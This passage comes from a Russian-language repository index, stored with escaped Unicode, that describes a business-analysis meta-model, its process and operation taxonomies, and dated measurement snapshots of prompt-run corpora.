\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0439\\n\u0440\u0430\u043c\u043a\u043e\u0439. \u041f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n([`standards/project-structure-inheritance.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/project-structure-inheritance.md))\\n\u0438\u0445 \u0434\u043e\u043c \u2014 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/README.md)\\n(\u0437\u0430\u0434\u0430\u0447\u0430 `B-155`, issue [#573](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/573)).\\n\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u2014 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b \u043d\u0438\u0436\u0435 \u2014 \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c \u0437\u0434\u0435\u0441\u044c:\\n\u0441\u043d\u0438\u043c\u043e\u043a \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430 \u0438 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e\\n\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0443.\\n\\n- [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n  \u2014 \u0441\u0438\u043d\u0442\u0435\u0437 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0439 \u0431\u0430\u0437\u044b \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563)):\\n  \u0434\u0435\u0432\u044f\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 `MM-1`\u2026`MM-4`, \u0447\u0435\u0442\u044b\u0440\u0435\\n  \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 (\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b `A-*`, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435\\n  \u043a\u043b\u0430\u0441\u0441\u044b) \u043f\u043b\u044e\u0441 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432, \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432\\n  \u0437\u0430\u043f\u0443\u0441\u043a\u0430 `stepwise`/`oneshot`/`legacy` (`DP-1`\u2026`DP-5`, ADR-013, ADR-016), \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n  \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f `LG-1`\u2026`LG-6` (ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014\\n  \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e \u043f\u0440\u043e\u0448\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441 \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b), \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e `SKILL.md` (`SK-1`\u2026`SK-10`), \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442 (`EP-R1`\u2026`EP-R4`),\\n  Golden Set (`EP-G1`\u2026`EP-G5`), Mermaid-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 BCREQ \u0438 \u043f\u043b\u0430\u043d\\n  \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e MVP-\u0441\u0440\u0435\u0437\u0430 \u0441 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438 `M-1`\u2026`M-5`. \u041c\u043e\u0434\u0443\u043b\u0438 `M0`\u2013`M4` \u0438 \u043e\u0441\u0435\u0432\u044b\u0435\\n  \u043c\u043e\u0434\u0443\u043b\u0438 **\u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f**: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0432\u0435\u0434\u0435\u043d\u044b \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438.\\n  **\u0412\u0435\u0440\u0441\u0438\u044f 0.2** (issue [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u2014 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b `\u0421\u0438\u0441\u0442\u0435\u043c\u0430` (\u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, `SY-1`\u2026`SY-3`)\\n  \u0438 `\u0410\u043a\u0442\u043e\u0440` (\u043e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, `AC-1`\u2026`AC-3`); \u043d\u0430\u0432\u044b\u043a\\n  \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u043a\u0430\u043a \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 (`\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043d\u0430\u0432\u044b\u043a\u0438 1:N \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 1:N`,\\n  `OPS-1`\u2026`OPS-5`); \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 \u0441 \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u043c\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438, \u0430\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u043f\u043e \u043d\u0435\u043c\u0443 (`EP-R5`, `EP-R6`); \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442\\n  \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (`GT-5`); \u0437\u0430\u044f\u0432\u043a\u0430 \u043d\u0430 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u043d\u044f\u0442\u0430 \u0438\\n  \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u043e\u0439 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u0438 (`scope: mango-only`).\\n\\n- [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n  \u2014 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 \u043d\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0430\u0437\u0438\u0441\u0435 (issue\\n  [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f `L0` (\u0448\u0435\u0441\u0442\u044c \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 BABOK v3) \u2192 `L1` (\u0448\u0435\u0441\u0442\u044c \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\\n  \u0440\u0430\u0431\u043e\u0442) \u2192 `L2` (\u0434\u0435\u0441\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a \u041c\u0430\u043d\u0433\u043e `P-01`\u2026`P-10`) \u2192 `L3` (33\\n  \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430), \u0433\u0434\u0435 `L0`/`L1` **\u043d\u0430\u0441\u043b\u0435\u0434\u0443\u044e\u0442\u0441\u044f** \u0438\u0437 BABOK, \u0430 `L2`/`L3`\\n  \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0434\u0435\u043b\u044c\u0442\u043e\u0439 \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f. \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0434\u0435\u0432\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n  \u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u2014 \u0441\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\\n  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 `fr-generation` \u00ab\u043e\u0442 \u0441\u044b\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0434\u043e \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0424\u0422/\u0422\u0417\u00bb\\n  \u0440\u0430\u0441\u043f\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u042f\u0440\u0443\u0441\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f `G1`\u2013`G7` \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0438\u0437\\n  [`research/ai-education/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ai-education/task-processing/00-introduction.md),\\n  \u043c\u0435\u0442\u0440\u0438\u043a\u0438 `MP-1`\u2026`MP-6`.\\n- [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md)\\n  \u2014 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0442\u043e\u0439 \u0436\u0435 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0438: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043a\u0430\u043a **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e\\n  \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u0448\u0435\u0441\u0442\u0438\u043f\u043e\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c,\\n  31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 (`extract`, `transform`, `generate`, `check`,\\n  `assess`), \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438 `OA-1`\u2026`OA-6` (\u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438\\n  \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u2014 \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u043d\u0430\u0432\u044b\u043a\u0430, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438), \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 33\\n  \u043d\u0430\u0432\u044b\u043a\u043e\u0432 `L3` \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u044f\u0440\u0443\u0441\u044b `OG-1`\u2026`OG-5` \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 `MO-1`\u2026`MO-5`.\\n\\n## \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438\\n\\n- [`2026-08-26-rrp-full-cycle-corpus-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md)\\n  \u2014 \u043e\u0431\u0449\u0430\u044f \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M1`\u2013`M4`: \u0437\u0430\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/` \u043d\u0430\\n  \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `ef88a9a` (57 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432). \u0412\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u043e\u0434\u0443\u043b\u044f \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0434\u0438\u043d \u0437\u0430\u043c\u0435\u0440,\\n  \u0430 \u043d\u0435 \u0432\u044b\u0434\u0432\u0438\u0433\u0430\u044e\u0442 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435.\\n- [`2026-08-25-mango-runs-empirical-snapshot.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md)\\n  \u2014 \u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f `mango_ba_prompts` \u043d\u0430 2026-08-25.\\n  \u041c\u043e\u0434\u0443\u043b\u044c \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u043d\u0438\u043c\u043e\u043a, \u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442: \u0443 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0442 \u0435\u0434\u0438\u043d\u043e\u0439 \u0434\u0430\u0442\u044b, \u0443\\n  \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u043d\u0430 \u0435\u0441\u0442\u044c.\\n- [`2026-09-07-ecosystem-knowledge-inventory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md)\\n  \u2014 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0438 \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u0430\u0440\u0442\u0430 \u0437\u043d\u0430\u043d\u0438\u0439 \u0442\u0440\u0451\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b\\n  (368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u043a\u043e\u043c\u043c\u0438\u0442\u044b `c259d61` / `8cbf82a` / `96c288f`): \u0440\u0435\u0435\u0441\u0442\u0440 \u043f\u043e\\n  \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u0430\u043c, \u0433\u0440\u0430\u0444 \u0441\u0432\u044f\u0437\u0435\u0439, \u043f\u0435\u0440\u0435\u0432\u0451\u0440\u043d\u0443\u0442\u043e\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u041c\u0430\u043d\u0433\u043e \u2192 \u0425\u0430\u0431 \u0438\\n  \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043a\u0430\u043d\u0430\u043b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443 `clarify-engine-ai` \u2014 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u00a75.3\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043f\u043b\u043e\u0448\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u0443\u044e \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443 \u0432\u0441\u0435\u0445 53 \u0435\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0443\u044e 8\\n  \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432, \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b\u0445 \u0432 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u044f\\n  `methodology-unification/`.\\n\\n- [`2026-09-08-artifact-structure-variance-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/` \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435\\n  `8cbf82a`: 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 17 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 **17 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445\\n  \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432** \u2014 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438. \u0421\u043b\u043e\u0442\\n  \u00ab\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438\u00bb \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0441\u044f 14 \u0440\u0430\u0437 \u043f\u043e\u0434 14 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438, \u00abUI-\u043b\u043e\u0433\u0438\u043a\u0430\u00bb \u0438 \u00ab\u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438\\n  \u043f\u0440\u0438\u0451\u043c\u043a\u0438\u00bb \u2014 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0440\u0430\u0437\u0443 \u043d\u0430 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u044f\\n  `artifact-micro-structure/` \u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0438\u043d\u0442\u0435\u0437\u0430 Golden Set.\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`: \u0440\u0435\u0436\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0445\u043e\u0434\u0438\u0442\\n  \u0432 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (13 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 1.85), \u043d\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u043a\u0435\u043b\u0435\u0442 (13 \u043f\u0430\u0440, \u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 **0.077**, \u043d\u0438\\n  \u043e\u0434\u043d\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0439 \u043f\u0430\u0440\u044b), \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0443 \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435\\n  \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f (50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442). \u041f\u043e\u043a\u0440\u044b\u0442\u043e 6 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u0437\\n  13, \u0438\u0437 \u0434\u0435\u0432\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u0438\u043d. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u044f\\n  `ba-meta-model/` \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f ADR-013.\\n\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0432\u043b\u0438\u044f\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0432\u0443\u044e \u043d\u043e\u0440\u043c\u0443 \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u0435\\n  `8cbf82a`: \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 **\u0434\u0435\u0441\u044f\u0442\u044c \u043d\u0435\\n  \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432**, \u0447\u0435\u0442\u044b\u0440\u0435 \u2014 \u043d\u0438 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445, \u043d\u0438\\n  \u0432 67 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445, \u0441\u0440\u0435\u0434\u043d\u0435\u0435 \u2014 1.04 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043d\u0430 